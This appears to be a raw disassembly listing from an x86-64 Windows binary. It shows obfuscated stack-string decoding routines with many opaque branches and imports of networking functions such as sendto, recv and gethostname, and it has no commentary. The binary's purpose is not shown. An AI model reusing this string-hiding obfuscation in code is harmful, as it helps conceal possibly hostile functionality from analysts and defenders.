mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x2a70]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2a70]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2a70]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x960], 0x9b
mov byte [rbp + 0x961], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x962], 0x90
mov byte [rbp + 0x963], 0xdb
mov byte [rbp + 0x964], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x965], Ordinal_217
mov byte [rbp + 0x966], 0x7b
mov byte [rbp + 0x967], Ordinal_217
mov byte [rbp + 0x968], 0x43
mov byte [rbp + 0x969], Ordinal_211
mov byte [rbp + 0x96a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x96b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x96c], 0x5e
mov byte [rbp + 0x96d], Ordinal_211
mov byte [rbp + 0x96e], 0x5d
mov byte [rbp + 0x96f], Ordinal_211
mov byte [rbp + 0x970], WSASetLastError
mov byte [rbp + 0x971], 0xc9
mov byte [rbp + 0x972], 0x7a
mov byte [rbp + 0x973], 0xcb
mov byte [rbp + 0x974], Ordinal_79
mov byte [rbp + 0x975], Ordinal_200
mov byte [rbp + 0x976], 0x64
mov byte [rbp + 0x977], Ordinal_200
mov byte [rbp + 0x978], 0x54
mov byte [rbp + 0x979], 0xc1
mov byte [rbp + 0x97a], 0x5b
mov byte [rbp + 0x97b], Ordinal_200
mov byte [rbp + 0x97c], 0x9f
mov byte [rbp + 0x97d], 0x3d
mov byte [rbp + 0x97e], 0x9a
mov byte [rbp + 0x97f], 0x3f
mov byte [rbp + 0x980], 0x84
mov byte [rbp + 0x981], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x982], 0xa8
mov byte [rbp + 0x983], Ordinal_60
mov byte [rbp + 0x984], 0xad
mov byte [rbp + 0x985], gethostname
mov byte [rbp + 0x986], 0xb8
mov byte [rbp + 0x987], Ordinal_60
mov byte [rbp + 0x988], 0xad
mov byte [rbp + 0x989], Ordinal_50
mov byte [rbp + 0x98a], 0xa0
mov byte [rbp + 0x98b], gethostname
mov byte [rbp + 0x98c], 0xbf
mov byte [rbp + 0x98d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x98e], 0x78
mov byte [rbp + 0x98f], Ordinal_50
mov byte [rbp + 0x990], Ordinal_143
mov byte [rbp + 0x991], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x992], 0xb3
mov byte [rbp + 0x993], Ordinal_46
mov byte [rbp + 0x994], 0xb2
mov byte [rbp + 0x995], Ordinal_41
mov byte [rbp + 0x996], Ordinal_41
mov byte [rbp + 0x997], Ordinal_41
xor eax, eax
mov qword [rbp + 0x998], rax
mov dword [rbp + 0x9a0], eax
mov word [rbp + 0x9a4], ax
mov byte [rbp + 0x9a6], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14015bd81
movzx r8d, byte [rbp + r9 + 0x960]
mov rdx, r8
cmp rdi, r9
ja 0x14015bd78
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015b2f4
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x14015b32b
je 0x14015bcf5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015bcc6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015bca3
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14015bc55
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14015bd6f
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14015b35c
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14015b39d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015bc44
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015bc21
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015bbd9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015bbb3
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015bb26
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14015b7c5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015b7b1
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14015b78f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015b77d
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015b75b
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015b747
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14015b725
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015b711
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14015bd4d
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14015bd27
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14015b54b
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14015b525
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14015b503
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015b6fa
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015b674
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015b660
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015b63e
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015b62a
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14015b608
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14015b5e6
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015b5c5
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14015b5a3
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14015b58f
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14015b56d
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14015b3aa
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14015b3aa
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14015b39d
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015b32b
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14015b2bc
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14015bc76
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14015b904
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015bcc1
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015baf6
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14015bce3
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14015bce6
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14015bb35
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14015bb7b
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14015b841
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x14015bad5
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14015b9cf
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x14015bac8
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14015bc76
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14015b7d7
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14015bb35
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14015bce6
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14015bbc2
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14015bbf6
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x14015bc30
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14015bc9e
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14015bc64
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14015b829
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x14015bb00
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14015b8c1
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015b691
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015b858
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bd10
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015b875
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14015bb35
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015b8a0
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14015bce6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015b7e6
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14015bc30
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015b8ec
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14015bc76
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015b91b
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bc9e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015b946
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14015bce3
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015b971
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14015bb47
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015b9a0
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bb7b
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14015b691
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14015bd10
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015b9ec
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14015b841
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015ba09
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14015bb35
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015ba26
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14015bbc2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015ba51
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14015bbf6
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015ba7c
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14015bcc1
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015ba99
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14015b904
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14015b6c8
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015bc76
mov byte [rbp + r9 + 0x960], bl
jmp 0x14015bd1f
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x960]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x14015bbf6
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x960]
jmp 0x14015bb42
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x960], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x960], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015bd10
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bce3
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
jmp 0x14015bce3
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015bcc1
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14015bc64
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
add r10, rsi
jmp 0x14015bcc1
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x14015bd1f
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015bd1f
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x960]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015b2a9
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015b2a6
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x14015b296
lea rdx, [rbp + 0x16f1090]
jmp 0x14015bd88
lea rdx, [rbp + 0x68a3f4]
jmp 0x14015bd88
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1b8]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2b80]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015bdbd
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2b80]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2b80]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2b80]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x840], 0xcb
mov byte [rbp + 0x841], Ordinal_143
mov byte [rbp + 0x842], 0xac
mov byte [rbp + 0x843], 0xf3
mov byte [rbp + 0x844], Ordinal_79
mov byte [rbp + 0x845], 0xf1
mov byte [rbp + 0x846], WSACleanup
mov byte [rbp + 0x847], 0xf7
mov byte [rbp + 0x848], 0x55
mov byte [rbp + 0x849], 0xf5
mov byte [rbp + 0x84a], 0xa2
mov byte [rbp + 0x84b], 0xfb
mov byte [rbp + 0x84c], 0x66
mov byte [rbp + 0x84d], 0xf9
mov byte [rbp + 0x84e], 0x55
mov byte [rbp + 0x84f], 0xff
mov byte [rbp + 0x850], 0x59
mov byte [rbp + 0x851], 0xfd
mov byte [rbp + 0x852], WSACleanup
mov byte [rbp + 0x853], 0xe3
mov byte [rbp + 0x854], 0x47
mov byte [rbp + 0x855], 0xe1
mov byte [rbp + 0x856], Ordinal_79
mov byte [rbp + 0x857], 0xe7
mov byte [rbp + 0x858], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x859], 0xe5
mov byte [rbp + 0x85a], 0x42
mov byte [rbp + 0x85b], 0xeb
mov byte [rbp + 0x85c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x85d], 0xe9
mov byte [rbp + 0x85e], r15b
mov byte [rbp + 0x85f], 0xef
mov byte [rbp + 0x860], 0xb8
mov byte [rbp + 0x861], 0xed
mov byte [rbp + 0x862], 0x87
mov byte [rbp + 0x863], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x864], 0x44
mov byte [rbp + 0x865], Ordinal_211
mov byte [rbp + 0x866], r15b
mov byte [rbp + 0x867], Ordinal_217
mov byte [rbp + 0x868], 0x81
mov byte [rbp + 0x869], Ordinal_217
mov byte [rbp + 0x86a], 0x7e
mov byte [rbp + 0x86b], 0xdb
mov byte [rbp + 0x86c], 0x7c
mov byte [rbp + 0x86d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x86e], WSACleanup
mov byte [rbp + 0x86f], 0xdf
mov byte [rbp + 0x870], Ordinal_143
mov byte [rbp + 0x871], 0xdd
mov byte [rbp + 0x872], 0x64
mov byte [rbp + 0x873], Ordinal_200
mov byte [rbp + 0x874], WSAGetLastError
mov byte [rbp + 0x875], 0xc1
mov byte [rbp + 0x876], 0x54
mov byte [rbp + 0x877], Ordinal_200
mov byte [rbp + 0x878], Ordinal_200
mov byte [rbp + 0x879], Ordinal_200
xor eax, eax
mov dword [rbp + 0x87a], eax
mov word [rbp + 0x87e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x14015cb8f
movzx r8d, byte [rbp + r9 + 0x840]
mov r11, r8
cmp rdi, r9
ja 0x14015cb86
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015bffb
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x14015c035
je 0x14015caf9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015caa2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015ca4c
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015ca23
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015c9d7
cmp r10, r9
ja 0x14015cb7d
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14015c066
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14015c09a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015c9b8
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015c995
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015c966
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015c948
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015c614
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14015c5f3
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14015c5df
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015c5bc
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14015c5a8
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015c585
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015c563
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14015c54f
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015c52d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015c507
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015c0a7
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14015cb57
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015cb31
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14015c2a5
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015c27f
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14015c25c
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14015c46e
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14015c45d
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14015c40f
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015c3e1
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14015c0a7
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015c3cd
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015c3aa
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015c388
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14015c362
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015c340
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015c31f
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14015c2fd
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015c2db
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14015c2c7
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14015c0a7
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x14015c0a7
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14015c09a
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c035
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14015bfc4
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14015c9e6
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14015ca1e
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14015ca44
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015c8e6
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14015c915
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c983
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14015ca6c
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14015cac6
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14015c516
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x840], bl
jmp 0x14015cb29
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x14015c402
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14015c9f8
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14015c4b9
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x14015c91a
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14015c713
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x14015c8c5
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14015c7f2
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x14015c42c
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
